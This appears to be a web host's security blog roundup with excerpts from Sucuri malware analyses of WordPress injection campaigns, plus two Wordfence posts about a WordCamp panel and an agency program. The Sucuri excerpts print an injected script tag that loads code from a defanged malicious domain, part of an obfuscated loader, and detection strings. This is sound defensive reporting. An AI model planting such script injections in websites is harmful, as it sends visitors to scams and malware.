Online Services

eWorldLinx

Category: Security

  • Saskmade[.]net Redirects

    Saskmade[.]net Redirects

    Earlier this week, we published a blog post about an ongoing massive malware campaign describing multiple infection vectors that it uses. This same week, we started detecting new modifications of the scripts injected by this attack.

    The general idea of the malware is the same, but the domain name and obfuscation has changed slightly.

    For example, in the wp_post table they now inject this script:

    <script src='hxxps://saskmade[.]net/head.js?ver=2.0.0′ type=’text/javascript’>

    In the section of HTML and PHP files, and at the top of jQuery-related JavaScript files, they inject this new obfuscated script:

    var _0x1e35=[‘length’,’fromCharCode‘,’createElement’,’type’,’async’,’code121′,’src’,’appendChild’,’getElementsByTagName’,’script’];(function(_0x546a53,
    …skipped…

    Continue reading Saskmade[.]net Redirects at Sucuri Blog.

  • Multiple Ways to Inject the Same Tech Support Scam Malware

    Multiple Ways to Inject the Same Tech Support Scam Malware

    Last month, we shared information about yet another series of ongoing massive infections using multiple different vectors to inject malicious scripts into WordPress websites.

    Shortly after, the campaign changed the domain names used in its scripts. Now it mainly uses hotopponents[.]site and learningtoolkit[.]club.

    At the time of this writing, PublicWWW finds the most common patterns of this malware on thousands of sites:

    • “var _0xfcc4=” – 8501 sites
    • “hotopponents.site/site.js” – 3636 sites

    Database Injections

    Multiple variations of the injected scripts have been found.

    Continue reading Multiple Ways to Inject the Same Tech Support Scam Malware at Sucuri Blog.

  • Video: WordCamp Atlanta Security Panel with Wordfence

    In April, Wordfence sponsored WordCamp Atlanta and several of our team members attended the event. While there, we held a capture the flag (CTF) contest, which helps WordPress site owners learn to think like a hacker so that they can better defend their websites.

    This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/10/video-wordcamp-atlanta-security-panel-with-wordfence/

    Part of hacker culture is the art of lock picking, which many of our team members do as a hobby. At WordCamp Atlanta, we taught many of the attendees to pick their first lock. Doing this is a great way to illustrate how it helps to think like your adversary when you are defending something. If you know how to pick a lock, you can better secure your home or office. Similarly, if you think like a hacker, you can better defend your WordPress websites. Our team does these demonstrations at every WordCamp we sponsor, and if you successfully pick a lock, we will award you a lock-pick set as a prize.

    At WordCamp Atlanta, one of the scheduled speakers was unable to attend and our team volunteered to fill in. Four Wordfence team members participated in a panel, taking questions and discussing various WordPress security topics with the audience. Our panel consisted of:

    Mark Maunder – CEO
    Matt Barry – Lead Software Developer
    Sean Murphy – Director of Threat Intelligence
    Tim Cantrell – Customer Support Engineer

    Aaron Campbell, the head of security for WordPress and an all-around great guy also makes an off-camera cameo. If you are interested in WordPress security and would like to get to know some of our best people a little better, I think you will really enjoy the conversation.

     

     

    Video produced by nishasingh and originally published on WordPress.tv.

    The post Video: WordCamp Atlanta Security Panel with Wordfence appeared first on Wordfence.

  • Introducing Wordfence Agency Solutions

    Throughout 2018, we have had many conversations with agencies and other organizations protecting a large number of WordPress sites with Wordfence. You’ve told us what you need to be more successful, and we’ve responded with many changes to both our licensing and our capabilities.

    This post is Copyright 2018 Defiant, Inc. and was published on the wordfence.com official blog. Republication of this post without permission is prohibited. You can find this post at: https://www.wordfence.com/blog/2018/10/introducing-wordfence-agency-solutions/

    To start, we added the ability to secure your staging and development environments with a single Wordfence premium license, something you should take advantage of if you have not done so already.

    Introducing Wordfence Agency Solutions

    Then we changed the way we handle volume discounts to make managing a large number of sites easier. We have a few additional changes coming, one of which we’re happy to announce today: Wordfence Agency Solutions.

    With the new Wordfence Agency Solutions program, our client partners are empowered to create custom solutions to meet your specific needs. Our goal is to provide you with what you need to keep your clients safe and grow your business. Some of the services they might offer in your custom security solution include:

    • Auditing WordPress site security to identify and mitigate risk factors on sites.
    • Optimizing Firewall and Malware Scanner attuned to the needs of your sites.
    • Onboarding and Training to help your agency make optimal use of Wordfence.
    • Proactively Mitigating emergent security threats to keep sites safe.
    • Incident Response and Forensic Investigation in the event of an attack to minimize downtime and prevent recurrence.
    • Premium Support from our team of experts.
    • and a Dedicated Agency Partner who understands the particulars of your business needs.

    Depending on your situation, you may also qualify for additional discounts.

    The initial agencies who have enrolled in Wordfence Agency Solutions each faced unique challenges, and together we identified and implemented a resolution for each case. For example, we started one customer’s engagement with a thorough security audit for 50 of his customer’s sites. In addition to a number of smaller issues we learned that his hosting environment was in need of security improvements.

    Our security analysts worked with him as he implemented their recommendations, including changes to his hosting configuration and an optimized implementation of Wordfence Premium. His customers’ sites are now much more secure, and he has the Wordfence security team available to help with any future security incidents.

    Partner with Your Security Team

    Because no other agency is just like yours, you need a solution reflecting your unique needs. No matter your size, capabilities and requirements, you’ll get to work with a dedicated Client Partner to determine your perfect solution. Our Client Partners are technically adept, have worked in agency roles managing large numbers of sites, and they live up to their title as a Client Partner. Whether you’re facing immediate security challenges or just looking for a streamlined way to offer excellent security to your clients, we’re here to help.

    Working together with Wordfence Agency Solutions will help you leverage all that Wordfence has to offer, allowing you to focus on growing your business with the knowledge that your clients’ security is in good hands. This means fewer headaches for you, while giving your current and future clients the assurance that the security of their sites is a priority for your agency.

    Qualifying is easy: you just need 20 or more sites in your care.

    Learn more about Wordfence Agency Solutions! A client partner is ready discuss your goals.

    The post Introducing Wordfence Agency Solutions appeared first on Wordfence.